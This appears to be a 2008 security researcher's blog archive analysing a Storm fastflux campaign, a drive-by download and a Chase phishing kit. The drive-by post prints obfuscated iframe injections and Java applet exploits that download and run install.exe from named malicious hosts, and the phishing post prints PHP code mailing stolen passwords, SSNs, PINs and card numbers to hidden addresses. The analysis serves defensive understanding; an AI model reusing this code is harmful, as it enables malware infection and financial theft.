Menu:

Showing posts published in April 2008. Show all posts.

A look at the Storm codec campaign's fastflux

Kind of late, but better than never I guess :-)

At the beginning of the months, the Storm gang got quite some coverage by launching a new attack campaign, based, this time, on a codec theme. Essentially, the gang tries to convince people to install a piece of malware (apparently, a NUWAR/Storm variant), by using the common social engineering trick of a missing video codec.

An interesting detail about the campaign was that it used a fastflux domain name, i.e., supersameas.com. Let's take a look at its infrastructure.

On April 9, I started to query the supersameas name servers to harvest the IP addresses associated with the campaign. At each request, the name server would reply with one IP address with 0 TTL. I continued to query the server until it gave me for 30 consecutive times addresses that I had already seen. At that point, I switched to a new name server, and so on.

In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I could not get the corresponding AS, so what follows may be slightly skewed. The ASes with more than 20 addresses were:

In terms of geographical distribution, the affected ASes were in the following countries:

Starting on April 10 at 11:27:18 PST, I also monitored for a few days if the addresses used by the campaign were still up and running, and serving the malicious content of the campaign. The following figure shows how many sites were still compromised at intervals of one hour.

Hour-by-hour statistics about the number of live sites: 0:378,10:118,20:33,30:16,40:8,50:5,60:2,70:1,80:1

Notice that almost 75% of the hosts had already been taken down (or were otherwise unreachable) when I started the measurement. After about 12 hours, the number of live sites drops lower than 100; after other 12 hours, it is reduced by a factor of 5, down to just 21 sites. It finally reaches 1 site after some 67 hours and stays like that for at least other 3 days.


Anatomy of a drive-by download

Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.

Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...

Redirections

The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.

In our case, the injecting page contains two injections. The first injection uses the unescape function to cover its purpose:

document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));

Once decoded, the escaped string reads:


    <IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' + 
    Math.round(Math.random()*30295)+'4f5b' width=83 height=365 
    style='display:none'></IFRAME>

The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:

function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function 
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8&lt;
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");

To quickly recover the code, I redefine the document object to print to the console (document={write:print}) and run the script in rhino:


    <iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
    width=1 height=1 style="display:none"></iframe>

Exploits

A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.

It turns out that the first iframe points at an empty page: it must have already been taken down.

The second iframe is more interesting: it spits out a 302 response to redirect to http://vipasotka.com/in.php (119.42.149.22), which, in turn, redirects to http://golnanosat.com/in.php (same IP address).

in.php is also variously scrambled, but the (now) usual deobfuscation step in rhino allows us to quickly make sense of it. This file generates another somewhat obfuscated JavaScript snippet. After some inspection and some googling, the script appears to be divided in two parts. The first part is essentially a JavaScript rewrite of metasploit's exploit for MS06-014: the code tries very hard to download (via XMLHttpRequest) the executable install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to add it to the startup programs, and to run it. The exploit code is IE-specific and goes to great lengths to "support" a number of different Windows versions.

The second part brings a bag of Java tricks into the picture.


    <applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
    try {
        var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
        var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
        var unsafe=unsafemeth.invoke(unsafemeth,null);
        document.maniman.foobar(unsafe);
        var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
        var chen=unsafe.allocateInstance(chenref);
        chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
        chen.setUname("5010");
        chen.setCID("other");
    }catch(d){}

    <applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
        <param name=usid value=us0105>
        <param name=linkurl
        value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
    </applet>

    <applet archive="ms03011.jar" code="MagicApplet.class" width=1  height=1>
        <param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
    </applet>

The first trick uses reflection and the internal sun.misc.unsafe class to dynamically create a class instance that bypasses the security restrictions of the Java VM: this seems an old bug that dates back to 2004. The second one is recognized by some anti-virus as Java/TrojanDownloader.OpenStream. The last trick looks like an exploit for another old bug (MS03-011) that affected the ByteCode Verifier of the Microsoft VM. In all cases, the goal is to download and execute the usual install.exe file.

Malware

The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.

Discussions

I'll conclude the analysis with some quick considerations:


A tale of scam kits

A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.

The reason for such generosity? Will see in a moment.

I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.

The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.

The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.

Let's see how this happens.

Transmission code

The file Mr-Brain.php contains the code to ship to information back to the scammer. The code is:

 3: $message = ... // phished information
    ...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }

mail() is a standard PHP function that send an e-mail message to the address specified in its first argument. Let's see how the kit uses this code to distribute information to a number of addresses other than scammer_forlife@yahoo.com.

Trick 1: mistyped variables

In Mr-Brain.php, the email message is composed as follows:

$hostname = gethostbyaddr($ip);
$message  = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code      : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number       : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";

Notice the mistyped $messege variable (instead of $message). Once reconstructed the variable forms the e-mail address hostipport@gmail.com. At line 45 it is used as the recipient of the mail function. The trick uses the fact that PHP automatically initializes undefined string variables (as $messege here) to the empty string.

Trick #2: case-sensitive PHP and code injection

Inside the foreach loop of line 42, the variable $Send (notice the capital letter) is different from the variable $send (all lowercase). How is $Send initialized? In details.php, a form contains the hidden parameter Send, whose value is set to:

<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>

which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.

Trick #3: obfuscation via pack()

The sending code loops over the contents of an array initialized with the variables $send and $IP. What is $IP? In prospect.php, the variable $IP is initialized to

pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));

$erorr (again, misspelled to disguise it for the variable $error) contains the contents of the file login.php. The substr() function searches for 329 in login.php, finds it in the value argument of a hidden parameter, and extracts the following 46 characters:

70696f6e6565722e627261696e40676d61696c2e636f6d

These are then massaged through the function pack() to give yet another e-mail address: pioneer.brain@gmail.com

Trick #4: obfuscation via code in data and eval()

prospect.php contains the following interesting functions:

39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }

The function geterrors() is called at the end of the file, right before error checking is performed. Let's see what these functions are doing:


    global $error;
    if("$error" != "1"){
        global $user;
        global $pass;
        global $fullname;
        global $address;
        global $city;
        global $state;
        global $zip;
        global $email;
        global $mmn;
        global $bmonth;
        global $bday;
        global $byear;
        global $ssn1;
        global $ssn2;
        global $ssn3;
        global $pin;
        global $cardnumber;
        global $expmonth;
        global $expyear;
        global $cvv;
    if (getenv(HTTP_CLIENT_IP)){
        $iP=getenv(HTTP_CLIENT_IP);
    } else {
        $iP=getenv(REMOTE_ADDR);
    }
    $hostname = gethostbyaddr($iP);
    $message  = "---------------  Chase Bank Spam ReZulT  -----------------\n";
    $message .= "User ID : $user\n";
    $message .= "Password : $pass\n\n";
    $message .= "Full Name : $fullname\n";
    $message .= "Address : $address\n";
    $message .= "City : $city\n";
    $message .= "State : $state\n";
    $message .= "Zip Code : $zip\n";
    $message .= "E-mail Address : $email\n\n";
    $message .= "Mother Maiden Name : $mmn\n";
    $message .= "Date of Birth : $bmonth/$bday/$byear\n";
    $message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
    $message .= "ATM PIN Code      : $pin\n";
    $message .= "Credit Card Number: $cardnumber\n";
    $message .= "Expiration Date   : $expmonth/$expyear [mm/yy]\n";
    $message .= "CVV Number       : $cvv\n";
    $message .= "---------------------------------------------------\n";
    $message .= "IP Address   : $iP\n";
    $message .= "HostName   : $hostname\n";
    $message .= "----------------  Created in 2008 By Mr-Brain  ----------------\n";
    $Brain="pamer@inbox.com,usa813@gmail.com";
    $subject = "Chase Bank ReZulT";
    $headers = "From: Mr-Brain<new@chase.com>";
    mail($Brain,$subject,$message,$headers);
    }

Hello, world!

Roughly a decade later than the rest of the world (ok, half a decade), I've decided it was about time to join this web 2.0 frenzy and add a blog to the website. Here, I'll try to post my non-academic-paper-style writings about various security topics.

To try to convince me that it is a serious thing and, web 2.0 aside, these are still the days when “men were men and wrote their own device drivers”, I've settled on blosxom as my blogging engine, which gives me a nice, command-line interface to publishing and lets me use a normal text editor to compose posts. To keep things simple, I have decided against having an add-a-comment feature. So, if you wish to comment or respond to something, send me an e-mail and I'll update the post with it.

Unless otherwise noted, material appearing on the blog is licensed under a Creative Commons Attribution-Noncommercial 3.0 United States License.
Creative Commons License

As everything, this is work in progress. Yes that (also) means that tags don't work, yet...